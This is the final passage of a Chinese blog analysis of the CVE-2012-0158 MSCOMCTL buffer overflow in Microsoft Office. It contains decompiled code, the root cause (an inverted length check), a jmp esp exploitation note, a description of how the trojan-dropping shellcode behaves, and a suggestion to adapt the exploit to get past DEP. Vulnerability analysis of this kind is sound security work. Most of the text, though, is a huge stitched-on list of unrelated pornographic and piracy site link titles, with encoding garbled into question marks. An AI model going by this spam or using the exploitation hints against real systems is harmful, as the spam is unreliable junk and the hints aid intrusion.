??????? v6 = (*(int (__stdcall **)(LPVOID,LPVOID, SIZE_T, _DWORD))(*(_DWORD *)v4 + 12))(v4, v5, dwBytes, 0);//讀取數據到堆內存,長度為dwBytes

??????? if ( v6 >= 0 )

??????? {

????????? memcpy(a1, v8, dwBytes);//復制數據到母函數指定的地址,這里是母函數的臨時變量,指向棧內

????????? v6 = (*(int (__stdcall **)(LPVOID,_UNKNOWN *, SIZE_T, _DWORD))(*(_DWORD *)v4 + 12))(

???????????????? v4,

???????????????? &unk_27633F78,

???????????????? ((dwBytes + 3) &0xFFFFFFFC) - dwBytes,

???????????????? 0);//剩余的數據長度小于等于3

??????? }

??????? HeapFree(hHeap, 0, (LPVOID)v8);

??????? result = v6;

????? }

????? else

????? {

??????? result = 0x8007000Eu;

????? }

??? }

??? else

??? {

????? result = 0x8000FFFFu;??? }

? }

? return result;

}

函數B內部又調用了三次OLE32.DLL的函數unsignedint __stdcall CExposedStream__Read(LPVOID a1, LPVOID lp, unsigned int ucb, inta4),這是IDA反匯編出來的啊,這個函數內部我就沒怎么仔細去看,大概猜到是從a1所指地址空間讀取ucb大小的字節到lp

A函數總共也只開辟了0x14 = 20個字節的空間,第一次調用B復制了12個字節,第二次本該最多復制8個字節,這下你應該明白為什么要小于等于8了吧!

綜上溢出的根源在A函數第二次調用B函數之前檢測數據長度的時候不小心犯了一個低級錯誤,小于等于誤寫成大于等于,導致B函數復制大量數據到A函數的臨時變量當中,造成了溢出。此漏洞是緩沖區溢出的經典例子!~~微軟竟然也犯這么低級的錯誤把用戶的安全完全拋之腦后了。A函數和B函數都沒開GS保護,導致可以直接使用jmp esp這種原始的利用方式發起攻擊。這個炸彈估計很早以前就埋下了,不知道在這個0day的幫助下,有多少網民遭受到了黑帽子的毒手。。。真懷疑是微軟故意留的后門!

到此,整個漏洞的原因分析完畢,未完成的工作還有3個:

1.??????word怎么解析得到那個長度字段,怎么提取和變換數據(7ffa4512在樣本doc里找不到),暫時沒有深究。有時間的話還可以繼續詳細跟蹤一下。

2.??????shellcode的分析。雖說這種釋放木馬和正常文檔的惡意樣本采用的shellocde都差不多,通過動態查找法找函數地址,然后通過GetFilesize函數循環找到自身文檔句柄,然后從某個偏移讀取藏在文檔中的木馬和正常文檔,然后釋放到臨時文件夾,執行木馬,然后打開正常文檔掩蓋蹤跡等等。對于不熟悉的朋友可以分析一下,可以親身體驗一下這個繁雜的過程。

3.??????沒開DEP可以輕松利用,但是開了DEP的話利用方法就得變化了。可以修改一下利用方式,該病毒的成功率會更高。

對這個漏洞感興趣的朋友也可以自己試試跟蹤分析一把。畢竟自己親自動手才有更深的體會。。。調試office漏洞需要耐心和一些經驗,這個我就當拋磚引玉了~~這個漏洞我也分析了兩天,這個過程還是有點艱難,但是也有很多的樂趣~如果你有新的發現,還請分享出來。最后,謝謝大家~ ~~

?

本文檔經過bitt的提醒,改正了一些錯誤,特此感謝!

總結

以上是生活随笔為你收集整理的CVE-2012-0158 MSCOMCTL控件漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

91精选在线 | 99色99| 精品欧美乱码久久久久久 | 精品国产免费人成在线观看 | 色偷偷88888欧美精品久久久 | 亚洲精品久久久久58 | 91麻豆精品国产91久久久久久 | 亚洲国产成人精品在线 | 日日夜夜综合网 | 人人cao| 免费观看性生交大片3 | 一区二区成人国产精品 | 精品国产伦一区二区三区 | 天天爽天天爽夜夜爽 | 色爱区综合激月婷婷 | 国产流白浆高潮在线观看 | 99久久网站| 久保带人 | 亚洲欧美日本国产 | 中文字幕av一区二区三区四区 | av免费福利 | 麻豆一区在线观看 | 狠狠的干狠狠的操 | 久久五月婷婷丁香 | 国产在线观看地址 | 国产一级a毛片视频爆浆 | 91成人在线网站 | 国产高清视频色在线www | 人人射人人插 | 欧美日韩国产在线 | 91热爆在线观看 | 欧美一区二区伦理片 | 99r精品视频在线观看 | 人人超碰免费 | 久久毛片网站 | 欧美另类一二三四区 | 美女在线黄 | 天天色综合天天 | www夜夜操com| 91精品在线看 | 中文 一区二区 | 国产在线精品国自产拍影院 | 在线国产激情视频 | 欧美日韩亚洲国产一区 | 激情婷婷综合网 | 国产一区视频免费在线观看 | 国产精品永久 | 国产日韩在线一区 | 久久久精品国产一区二区电影四季 | 91精品国产麻豆国产自产影视 | 9在线观看免费高清完整版在线观看明 | 韩国av一区二区 | 久草在线费播放视频 | 久久午夜国产精品 | 久久精品国产精品亚洲 | 99热这里只有精品8 久久综合毛片 | 狠狠狠色 | 91麻豆精品国产91 | 2022中文字幕在线观看 | 欧美精品久久99 | 国产色女人 | 69国产盗摄一区二区三区五区 | 毛片网站在线观看 | 久草免费资源 | 亚洲电影久久 | 亚洲视频免费在线观看 | 国产成人久久精品77777 | 国产精久久久 | 人人模人人爽 | 高清精品久久 | 欧美最新另类人妖 | 日日夜精品| 久久人人爽人人爽人人片 | 91精品日韩 | 国产黄色观看 | 免费在线观看不卡av | 久久久久草 | 毛片一级免费一级 | 高清中文字幕 | 亚洲码国产日韩欧美高潮在线播放 | 日本xxxx.com | 激情欧美一区二区三区免费看 | 97综合在线 | 日本九九视频 | 九九免费在线观看视频 | 国产色资源 | 国产爽视频 | 国产成a人亚洲精v品在线观看 | 五月婷婷六月丁香激情 | 久久一区二区三区四区 | 久久视讯 | 国产精品 日韩 欧美 | 超碰97中文 | 成人99免费视频 | 亚洲视频一区二区三区在线观看 | www.狠狠操| 国产精品自在线 | 美女视频a美女大全免费下载蜜臀 | 日本三级在线观看中文字 | av线上免费观看 | 国产伦精品一区二区三区高清 | 久久开心激情 | 看黄色91 | 日本黄色一级电影 | 久青草国产在线 | 日韩精品在线免费观看 | 成人网色 | 国产精品久久久久一区二区三区 | 97香蕉超级碰碰久久免费软件 | 99爱在线观看 | 伊人天堂久久 | 久久久黄视频 | 亚洲欧美日韩一区二区三区在线观看 | 亚洲精品乱码久久久久久蜜桃91 | 亚洲国产中文字幕在线观看 | 国产高清在线看 | 182午夜在线观看 | 久久久久在线视频 | 中文字幕亚洲精品在线观看 | 久草资源在线观看 | 天天色宗合 | 夜夜躁日日躁狠狠久久88av | 激情自拍av | 日韩av看片| 日韩在线观看网址 | 黄色大片日本 | 国产免费激情久久 | 99视频+国产日韩欧美 | 久久香蕉一区 | 精品国产大片 | 人人干人人超 | av免费试看 | 国产资源免费在线观看 | 99r在线播放 | 久久久久久久久久久高潮一区二区 | 欧美美女视频在线观看 | 久草在线资源观看 | 国产精品久久久久国产a级 激情综合中文娱乐网 | 亚洲婷婷在线视频 | 日本精品视频一区 | 亚洲成av人片在线观看无 | 色吊丝在线永久观看最新版本 | 男女精品久久 | 国产精品高潮久久av | 国产在线观看国语版免费 | 国产精品免费人成网站 | 91成人免费看 | 日韩精品久久中文字幕 | av片一区| 久久99精品热在线观看 | 色网站免费在线看 | 成片免费| 日韩最新中文字幕 | 最近能播放的中文字幕 | 在线成人免费电影 | 国产69精品久久久久久 | 色婷婷六月天 | 久久亚洲婷婷 | 国产精品99久久久久的智能播放 | 少妇搡bbb | 国产精品国产三级国产aⅴ无密码 | 久草在线免费资源 | 一二三四精品 | 久久精品一区 | av片子在线观看 | 最新免费av在线 | 国产一级视频在线免费观看 | 91aaa在线观看 | 国产一线天在线观看 | 欧美精品中文字幕亚洲专区 | 视频国产在线观看18 | 国产成人免费精品 | 91精品国自产在线 | 99欧美视频 | 丝袜少妇在线 | 一级成人免费视频 | 亚洲第一久久久 | 亚洲japanese制服美女 | 亚洲国产一区在线观看 | 精品国产精品久久一区免费式 | 亚洲国产合集 | 久久久久久久18 | 7777xxxx | a黄色一级片| 亚洲男男gⅴgay双龙 | 久久久久成 | 9色在线视频 | 国产一线在线 | 亚洲精品乱码久久久久久久久久 | 中文字幕在线色 | 99久久9| 久久激情电影 | 欧美日韩亚洲一 | 天天综合网在线观看 | 粉嫩av一区二区三区四区 | av一级片网站 | 女人高潮一级片 | 精品视频在线免费观看 | 午夜视频在线观看一区二区三区 | av解说在线观看 | 综合网天天色 | 亚洲视频在线播放 | 色欧美视频 | 欧美色精品天天在线观看视频 | 久久情爱 | 天天搞天天干天天色 | www.五月天激情 | 开心色激情网 | 国产成人精品999在线观看 | 国产精品1区2区3区 久久免费视频7 | 国产成人精品一区二区三区福利 | 69视频国产 | 日韩欧美极品 | 精品一区二区免费在线观看 | 国产在线一区二区 | 草久久久 | 麻豆av一区二区三区在线观看 | 精品久久久免费 | 91色在线观看视频 | 国产精品二区在线 | 天天色综合三 | 果冻av在线| 国产一区精品在线 | 久久图| 粉嫩av一区二区三区免费 | 91精品在线免费观看视频 | 国产亚洲免费的视频看 | 中文字幕区| 国产视频综合在线 | 正在播放五月婷婷狠狠干 | 国产精品久久久久aaaa | 在线观看免费av网站 | 911香蕉| 精品久久久久久久 | 免费看的黄网站 | 黄色av三级在线 | 伊人宗合网 | 国产亚洲视频中文字幕视频 | 丁香花中文在线免费观看 | 亚洲国产一区二区精品专区 | 久久色在线播放 | 欧美日韩高清一区二区 国产亚洲免费看 | 日本精品一区二区三区在线播放视频 | 91成人精品视频 | 黄色影院在线免费观看 | 日韩欧美国产免费播放 | 激情久久久久 | 国产剧情在线一区 | 亚洲日日日 | 91久久黄色 | 狠狠干干 | 色国产精品一区在线观看 | 高清国产一区 | 亚洲 欧美 国产 va在线影院 | 亚洲精品久久激情国产片 | 五月开心激情 | 成人动漫一区二区三区 | 久草在线综合 | av久久在线 | 国产高清一区二区 | 成人在线中文字幕 | 亚洲精品黄色 | 99久久999久久久精玫瑰 | 欧美色精品天天在线观看视频 | 日韩成人中文字幕 | 91av免费看 | av黄色在线观看 | 亚洲1级片 | 国产精品1区2区在线观看 | 亚洲九九精品 | 91一区二区在线 | 免费在线色 | 成人黄大片视频在线观看 | 日韩在线免费电影 | 最新日韩视频 | 91插插插网站 | 不卡中文字幕av | 欧美精品免费视频 | 中文字幕美女免费在线 | 在线免费高清 | 国产一区二区不卡视频 | 黄色三级在线 | 久久国产剧场电影 | 国产精品久久久av | 夜夜夜草 | 九九九九热精品免费视频点播观看 | 天天色播| 国产在线专区 | 丁香六月在线 | 精品国产免费看 | 99草在线视频 | 国产免费三级在线观看 | va视频在线 | 精品视频在线免费 | 综合色影院 | 亚州日韩中文字幕 | 国产二区免费视频 | 波多野结衣小视频 | 九九av| 日韩在线不卡av | 免费麻豆视频 | 狠狠干婷婷色 | 在线亚洲人成电影网站色www | 亚洲成人黄色在线 | av丁香花 | 日韩精品欧美专区 | 99久久er热在这里只有精品66 | 国产另类xxxxhd高清 | 91精品国产成人 | 免费在线观看成年人视频 | 久久久久久久久久久久久影院 | www.久久精品视频 | 中文字幕字幕中文 | 午夜国产一区二区 | 国产九色91 | 丁香六月天 | 色99导航 | 正在播放国产一区 | 欧美巨乳波霸 | 国产精品99免视看9 国产精品毛片一区视频 | 免费视频久久 | 在线观看色视频 | 久久视频这里只有精品 | 日产乱码一二三区别在线 | 夜夜夜影院| 国产一区二区影院 | 9999国产精品 | 国产网站在线免费观看 | 日韩免费视频 | 欧美人操人 | 日韩欧美一区二区在线 | 96国产精品视频 | 久精品视频在线观看 | www.夜色.com | 亚洲久在线 | 久久久激情网 | 99免费在线视频 | 久久毛片视频 | 91视频91蝌蚪 | 在线观看 国产 | 日韩视频欧美视频 | 一级免费片 | 亚洲一区精品二人人爽久久 | 亚洲一二三区精品 | 日韩一区二区久久 | 麻豆成人在线观看 | 久久在线免费观看 | 91精品国产自产在线观看 | 日韩欧美网站 | 麻豆高清免费国产一区 | 99久久夜色精品国产亚洲 | 欧美日韩国产在线观看 | 午夜婷婷网 | 久久激情综合网 | 成人中心免费视频 | 亚洲无线视频 | www.久热| 九色在线 | 欧美色图亚洲图片 | 久久超碰免费 | 一区在线观看 | 久久精品麻豆 | 99久久久| 中文字幕丰满人伦在线 | 99久久精品国产亚洲 | 精品99久久久久久 | 91豆花在线| 欧美日韩一区二区三区在线观看视频 | 亚洲国产欧美一区二区三区丁香婷 | 在线观看国产v片 | 93久久精品日日躁夜夜躁欧美 | 久久综合给合久久狠狠色 | 亚洲视频 视频在线 | 特级aaa毛片 | 麻豆视频在线观看免费 | 成人毛片一区二区三区 | 国产精品福利无圣光在线一区 | 欧美va电影 | 久久久久女人精品毛片 | 国产一区二区三区 在线 | 91在线播放国产 | 麻豆国产精品永久免费视频 | 国产高清免费在线播放 | 日韩三级视频在线观看 | 性色av香蕉一区二区 | 91麻豆福利 | 精品国产亚洲一区二区麻豆 | 成人性生交大片免费观看网站 | 天天曰天天干 | 国产精品99页 | 亚在线播放中文视频 | 91在线免费观看网站 | 成人免费在线播放 | 99一级片 | 91污在线观看 | 激情开心网站 | 四虎精品成人免费网站 | 国产录像在线观看 | 在线视频免费观看 | 久久久久免费 | 日韩高清免费无专码区 | 国产91精品久久久久久 | 久久久久女人精品毛片 | 久久免费的精品国产v∧ | 久久美女高清视频 | 国产精品毛片完整版 | 久久久久久国产精品999 | 欧美成a人片在线观看久 | 久久a免费视频 | 中文字幕免费久久 | 日本aaaa级毛片在线看 | 九九在线视频免费观看 | 国产精品高清免费在线观看 | av九九| 日韩色中色 | 中文字幕国语官网在线视频 | 黄色一级性片 | 夜夜躁日日躁狠狠久久av | 日本久久综合视频 | 国产免费又粗又猛又爽 | 97超碰人人澡人人爱学生 | 亚洲国产精品资源 | 香蕉视频在线观看免费 | 国产视频欧美视频 | 午夜精品久久久久久久久久 | 午夜天使 | 色九九影院 | 久久国产网站 | av播放在线| 欧美日韩精品影院 | 成人99免费视频 | 99视频在线 | 视频国产在线 | 国产在线不卡精品 | 超碰在线免费福利 | 国产日韩中文字幕 | 黄色网www| 久久午夜国产 | 成人久久国产 | 久久亚洲热| 黄色av一级片 | 久久精品国产精品亚洲 | 天天草综合 | 国产精品麻豆99久久久久久 | 免费看污黄网站 | 天堂视频中文在线 | 日日干 天天干 | 久久久久久久久久久黄色 | 免费能看的黄色片 | 日韩在线精品一区 | 成人三级网站在线观看 | 国产一区二区精 | 伊人天堂久久 | 久久r精品 | 五月天综合 | 五月婷婷在线视频观看 | 黄色美女免费网站 | 97超碰在线资源 | 2020天天干夜夜爽 | 最新久久免费视频 | 五月婷视频 | 特级毛片aaa | 日本久久久久久久久久久 | 久久国产一区 | 国产黄免费在线观看 | 久久免费高清视频 | 中文资源在线观看 | 亚洲精品午夜久久久 | 久久综合狠狠综合 | 超碰av在线免费观看 | 日本一区二区免费在线观看 | 亚洲一级影院 | 91精品福利在线 | 中文字幕视频网 | 在线91色| 精品福利网站 | 九九在线高清精品视频 | 亚洲人人射| av一级网站 | 国产精品美女久久久网av | 亚洲在线视频免费 | 欧美污污视频 | 国产毛片在线 | 黄色网在线免费观看 | 成人午夜黄色影院 | 亚州精品天堂中文字幕 | 高清一区二区三区av | 国产精品理论在线观看 | 日韩欧美网站 | 999男人的天堂 | 国产91粉嫩白浆在线观看 | 91麻豆产精品久久久久久 | 国产成人久久久77777 | 亚洲黄色免费网站 | 久久人人爽爽人人爽人人片av | 国产精品成人一区二区三区吃奶 | 久久深夜福利免费观看 | 国产伦精品一区二区三区… | 国产精美视频 | 成年人免费av网站 | 日韩网页| 国产成人在线播放 | a久久免费视频 | 激情av综合 | 精品一区二区精品 | 欧美日本一区 | 久久国产电影 | av福利在线看| 国产在线p | 久久久久久毛片精品免费不卡 | 国产精彩在线视频 | 亚洲欧美视频网站 | 不卡精品视频 | 黄色av网站在线观看免费 | 色婷婷色 | 69av久久| 日韩精品中文字幕在线 | 456免费视频 | 国产91在线免费视频 | 又黄又网站 | 久久免费精品国产 | 一区二区视频电影在线观看 | 亚洲精品视频偷拍 | 黄色免费网站大全 | 国产精品影音先锋 | 手机看片1042| av网站免费看| 久久精品国产美女 | 欧美亚洲一区二区在线 | 免费国产黄线在线观看视频 | 日本一区二区免费在线观看 | 成人影片在线播放 | 亚洲一级黄色大片 | 欧美国产日韩在线视频 | 亚洲欧洲一区二区在线观看 | 国产亚洲精品成人av久久影院 | 久久最新视频 | 中文字幕一区二区三区久久 | 日日日日 | 久久在线电影 | 亚洲 欧美 国产 va在线影院 | 久久综合免费 | 色婷婷骚婷婷 | 麻豆传媒视频在线 | 久热久草在线 | 日韩精品一区二区三区免费视频观看 | 四虎成人免费观看 | 国产一区二区三区 在线 | 狠狠色丁香婷婷综合久小说久 | 91热这里只有精品 | 在线观看色网 | 久久久久亚洲精品国产 | 久久天天躁狠狠躁夜夜不卡公司 | 免费国产在线精品 | 亚洲黄色免费 | 免费黄色激情视频 | 一区二区三区 中文字幕 | 免费在线一区二区三区 | 成人国产精品入口 | av三区在线 | 欧美黄色特级片 | 毛片基地黄久久久久久天堂 | 亚洲天堂在线观看完整版 | www.福利视频 | 国产日韩欧美精品在线观看 | 成年人在线免费看视频 | 亚洲黄色免费在线看 | 一本之道乱码区 | 不卡电影一区二区三区 | 日韩精品1区2区 | 超碰97国产在线 | 九九热免费在线观看 | 色综合a| 99久久er热在这里只有精品15 | 国产大片黄色 | 亚洲精品成人av在线 | 国产成人精品久久二区二区 | 亚洲欧美视频在线播放 | 国产 日韩 在线 亚洲 字幕 中文 | 五月丁婷婷 | avove黑丝| 亚洲精品在线观看的 | 国产精品18毛片一区二区 | 国产91精品高清一区二区三区 | 国产伦精品一区二区三区高清 | 国产看片网站 | 少妇精品久久久一区二区免费 | 久久久久免费电影 | 国产一及片 | 色婷婷av在线| 亚洲国产成人av网 | 久久私人影院 | 久草在线免费资源 | 在线观看久久 | 在线精品在线 | 天天综合成人网 | 国产精品久久久久永久免费 | 欧美日韩高清在线一区 | 人人爽人人爽人人爽 | 日韩av区 | 国产黄a三级三级 | 伊人日日干 | 国产精品观看在线亚洲人成网 | 久久亚洲视频 | 天堂视频一区 | 国产传媒一区在线 | 国产日本在线播放 | 国产一级电影 | 日产中文字幕 | www黄免费 | 国产精品久久久久久一区二区 | 天天干天天插伊人网 | 高清一区二区 | 丝袜美女视频网站 | 亚洲砖区区免费 | av免费在线免费观看 | 午夜在线日韩 | av韩国在线 | 婷婷去俺也去六月色 | 天天干天天做 | 成人免费网站视频 | 国内外激情视频 | 日韩激情小视频 | 中文字幕免费观看全部电影 | 激情五月六月婷婷 | 国产又粗又猛又黄视频 | 国产一级视频在线观看 | 麻豆国产精品va在线观看不卡 | 亚洲欧美成aⅴ人在线观看 四虎在线观看 | 国产 一区二区三区 在线 | 免费观看成人 | 久久国产精品影视 | 亚洲精品久久久久www | 天天想夜夜操 | 2018亚洲男人天堂 | 国产在线2020 | 日本精品午夜 | 成人久久18免费网站图片 | 色先锋资源网 | 99视频一区 | www最近高清中文国语在线观看 | 国产精品欧美一区二区三区不卡 | 天天人人综合 | 91久久精品一区二区二区 | 91av小视频| 深夜视频久久 | 色综合网 | 日本高清中文字幕有码在线 | 在线播放亚洲 | 国产在线观看国语版免费 | 五月天天色 | 亚洲一区二区精品视频 | 黄色av免费看| 天天插伊人 | 超碰在线天天 | 久久999久久 | 精品国产1区2区3区 国产欧美精品在线观看 | 久久综合九色综合97婷婷女人 | 国产精品v欧美精品v日韩 | 日韩成人精品一区二区 | 国产日本亚洲高清 | 看毛片的网址 | 国产精品va最新国产精品视频 | 黄色免费看片网站 | 亚洲高清视频在线观看免费 | 国产视频在线观看一区 | 国产精品久久久久久五月尺 | 国产精品一区二区三区四区在线观看 | 亚洲无吗天堂 | 日韩av不卡在线 | av超碰免费在线 | 午夜免费在线观看 | japanesexxxxfreehd乱熟| 天堂在线免费视频 | 西西大胆免费视频 | 国产精品毛片一区二区三区 | 国内精品久久久久影院优 | 不卡的av在线 | 天天拍天天干 | 亚洲一区二区三区91 | 97色综合 | 五月天堂色 | 久久av影院 | 五月婷婷激情网 | 欧美ⅹxxxxxx | 91视频在线免费观看 | 久久午夜网 | 久久综合狠狠综合久久狠狠色综合 | 日本久久高清视频 | 一级做a视频 | 深爱激情五月婷婷 | 视频国产 | 国产免费久久精品 | 国产精品久久久久久久久久白浆 | 久久人人爽视频 | 亚洲经典在线 | 久久的色 | 91av视频| 亚洲一级黄色片 | 国产精品18毛片一区二区 | 天天操比| 亚洲日本va午夜在线电影 | 久久综合福利 | 天天爽天天搞 | 国语久久 | 丰满少妇对白在线偷拍 | 91精品国产91p65 | 四虎影视8848dvd | 久久国产精品久久精品国产演员表 | 久久久精品国产一区二区电影四季 | 天天鲁一鲁摸一摸爽一爽 | 色综合天 | 日韩精品一区二区三区外面 | 亚洲婷婷在线 | 久久激情影院 | 91成人在线观看喷潮 | 91香蕉国产在线观看软件 | 麻豆91精品91久久久 | av在线影视 | 久久久久久久久亚洲精品 | 激情深爱五月 | 96视频在线 | 五月天久久婷婷 | 久草在线视频首页 | 成年人免费在线观看网站 | 免费av观看 | 黄色www免费 | 91麻豆免费版 | 欧美日韩精品在线观看 | 天天色天天色 | 欧美日韩精品在线观看视频 | 成人性生交大片免费看中文网站 | 亚洲高清视频在线观看免费 | 97电影在线| 免费观看福利视频 | 韩国av一区二区三区 | 久久av影视 | 天天五月天色 | 奇米网在线观看 | 亚洲成人网av | 999热视频| 免费在线一区二区 | 在线观看免费一区 | 亚洲欧美精品一区 | 免费午夜av | 久草资源在线观看 | 国内免费久久久久久久久久久 | 美女网站在线播放 | 久久伊人91 | 久久亚洲欧美日韩精品专区 | 国产综合精品一区二区三区 | a爱爱视频 | 亚洲视频一区二区三区在线观看 | 五月香视频在线观看 | 国产精品激情在线观看 | 91精品999 | 成人午夜电影久久影院 | 亚洲精品成人 | 精品久久久久久亚洲综合网站 | 最新av中文字幕 | 久久视频这里有久久精品视频11 | 成人免费视频视频在线观看 免费 | 久久久 精品 | 久久久91精品国产一区二区三区 | 欧美激情xxxx | 亚洲欧美国产日韩在线观看 | 精品国产一区二区三区久久影院 | 99视频精品全国免费 | 精品一二三区视频 | 在线观看中文字幕亚洲 | 久久一及片 | 伊人天天狠天天添日日拍 | 奇米7777狠狠狠琪琪视频 | 三级黄色欧美 | 国产精品午夜在线 | 国际精品久久久久 | 99爱精品视频 | 色综合久久中文字幕综合网 | 狠狠操天天射 | 免费在线观看av网址 | 在线国产片 | 在线国产黄色 | 正在播放国产一区二区 | 日韩网站一区二区 | 99在线热播精品免费 | 人人干人人模 | 久久狠狠一本精品综合网 | 亚洲国产精品久久久久婷婷884 | 亚洲午夜久久久久久久久电影网 | 久久高清国产视频 | 久久最新网址 | 久久黄色美女 | 国产福利在线不卡 | 玖玖在线看 | 久久av在线播放 | 九九综合九九 | 国产精品成人免费一区久久羞羞 | 91视频这里只有精品 | 国产午夜精品免费一区二区三区视频 | 午夜视频免费播放 | 天天天干天天射天天天操 | 综合激情网 | 免费看v片网站 | 亚洲精品在线免费看 | 开心激情五月婷婷 | 日本少妇高清做爰视频 | 男女免费av | 黄色av一级片 | 午夜久操 | 超碰在线cao| 韩日精品视频 | 色婷婷狠狠干 | 亚洲精品在线一区二区 | 果冻av在线| 中文字幕日本特黄aa毛片 | 欧美在线一 | 中文字幕视频在线播放 | 国产精品资源在线 | 一区二区三区免费看 | 国产在线精品播放 | av线上免费看 | 久久久久国 | 69久久夜色精品国产69 | 久久久久福利视频 | 国产高清不卡av | 97超碰免费| 一级做a爱片性色毛片www | 正在播放国产精品 | 国产精品99久久久久久有的能看 | 国产手机在线播放 | 四虎成人在线 | 色综合久久综合中文综合网 | 久久99精品一区二区三区三区 | 亚洲片在线观看 | 一区视频在线 | 99久久精品国产毛片 | 国产手机在线视频 | 久久精品国产一区二区三区 | 最新国产中文字幕 | 91久久国产自产拍夜夜嗨 | 二区视频在线观看 | 亚洲理论片在线观看 | 99国产在线观看 | 亚州国产精品视频 | 日日爱夜夜爱 | 国产黄免费在线观看 | 91新人在线观看 | 狠狠综合 | 国产精品久久久久久a | 久久久国产一区 | www.狠狠操.com | 日韩网站在线播放 | 在线观看中文字幕亚洲 | 免费国产在线观看 | 91精品国产综合久久婷婷香蕉 | 欧美性大战久久久久 | 久久久久国产精品厨房 | 97超碰人人在线 | 在线视频黄 | 国产手机视频 | 超碰人人99 | 国产福利一区二区三区在线观看 | 日韩欧美大片免费观看 | 亚洲精品久久久久中文字幕二区 | 日日爱网站 | 国产成人一区二区啪在线观看 | 一区在线电影 | 人人澡人人爱 | 亚洲精品乱码久久久久久高潮 | 伊在线视频 | 中文字幕有码在线播放 | 国产成人黄色av | 中文字幕av在线电影 | 狠狠干夜夜爱 | 国产成人久久久77777 | 二区三区毛片 | 97精品国自产拍在线观看 | 亚洲va在线va天堂va偷拍 | 97在线视频免费播放 | 免费a视频在线观看 | 国产高清不卡在线 | 中文字幕你懂的 | 这里只有精彩视频 | 婷婷六月激情 | 日韩特黄一级欧美毛片特黄 | 五月婷婷六月丁香 | 久久九九精品久久 | 婷婷夜夜 | 国产精品99久久久久久大便 | 91色九色| 最近的中文字幕大全免费版 | 色综合久久精品 | 最近中文字幕在线播放 | 国产黄a三级三级三级三级三级 | 久久国产精品免费一区二区三区 | 欧美性春潮 | av手机在线播放 | 人人玩人人添人人 | 亚洲精品视频观看 | 久久久久女教师免费一区 | av免费在线观看网站 | 久久99视频| 国产h在线播放 | av片在线观看 | 天天操天天摸天天射 | 国产日产高清dvd碟片 | 日韩免费观看一区二区三区 | 一区二区电影网 | 制服丝袜天堂 | 射综合网 | 免费高清在线观看成人 | 最近2019年日本中文免费字幕 | 美女国产免费 | 国产麻豆精品一区 | 免费亚洲电影 | 综合久久久久久 | 九九视频免费 | 亚洲欧洲精品一区二区精品久久久 | 人人澡人人模 | 国产在线观看高清视频 | 日本精品视频在线观看 | 在线影视 一区 二区 三区 | 日本在线观看一区二区 | 少妇资源站 | 国产黄色片在线 | 97国产在线视频 | 精品国产一二三四区 | 深夜免费福利 | 婷婷综合久久 | 亚洲精品自拍视频在线观看 | 久久久久国产精品免费网站 | 国产理论在线 | 亚洲国产大片 | 高清久久久久久 | 久久黄视频 | 亚洲乱码精品久久久 | caobi视频 | 久久在线视频在线 | 国产高清视频在线免费观看 | 黄色毛片视频 | 国产精品久久久久久久久大全 | 99精品国产免费久久久久久下载 | 色偷偷男人的天堂av | 蜜臀av性久久久久蜜臀aⅴ涩爱 | www视频在线观看 | 九九热在线精品 | 99国产精品一区 | 亚洲电影影音先锋 | 99热这里只有精品国产首页 | av电影中文字幕 | 国产成人精品一区二三区 | 午夜成人免费影院 | 国产污视频在线观看 | 国产精品99在线观看 | 国产一区私人高清影院 | 久艹在线免费观看 | 久草视频手机在线 | 97视频在线观看视频免费视频 | 日韩三级视频在线观看 | 激情网第四色 | 91精品国产乱码在线观看 | 在线精品一区二区 | 天天爱天天色 | 五月婷婷六月丁香 | 免费亚洲黄色 | 中文字幕在线观看免费高清完整版 | 99久久久国产精品免费99 | 国产黄色精品在线观看 | 狂野欧美激情性xxxx欧美 | 麻豆小视频在线观看 | 久久久久久久久久久久亚洲 | 狂野欧美激情性xxxx | 中文字幕精品一区二区精品 | 在线观看视频在线 | 91丨九色丨蝌蚪丰满 | 免费观看黄色12片一级视频 | 久草 | 亚洲视频电影在线 | 97碰碰视频 | 亚洲爱爱视频 | 国产精品伦一区二区三区视频 | 天天射天天舔天天干 | 国产福利网站 | 欧洲一区二区三区精品 | 免费av福利| 国产高清小视频 | 公与妇乱理三级xxx 在线观看视频在线观看 | 国产专区精品 | 天天色欧美 | 91精品国产乱码久久桃 | 91激情视频在线播放 | 日韩av在线高清 | 亚洲少妇影院 | 99热九九这里只有精品10 | 三级黄色网址 | 欧美精品久久久久久久久久白贞 | 精品亚洲免费 | 色婷婷精品|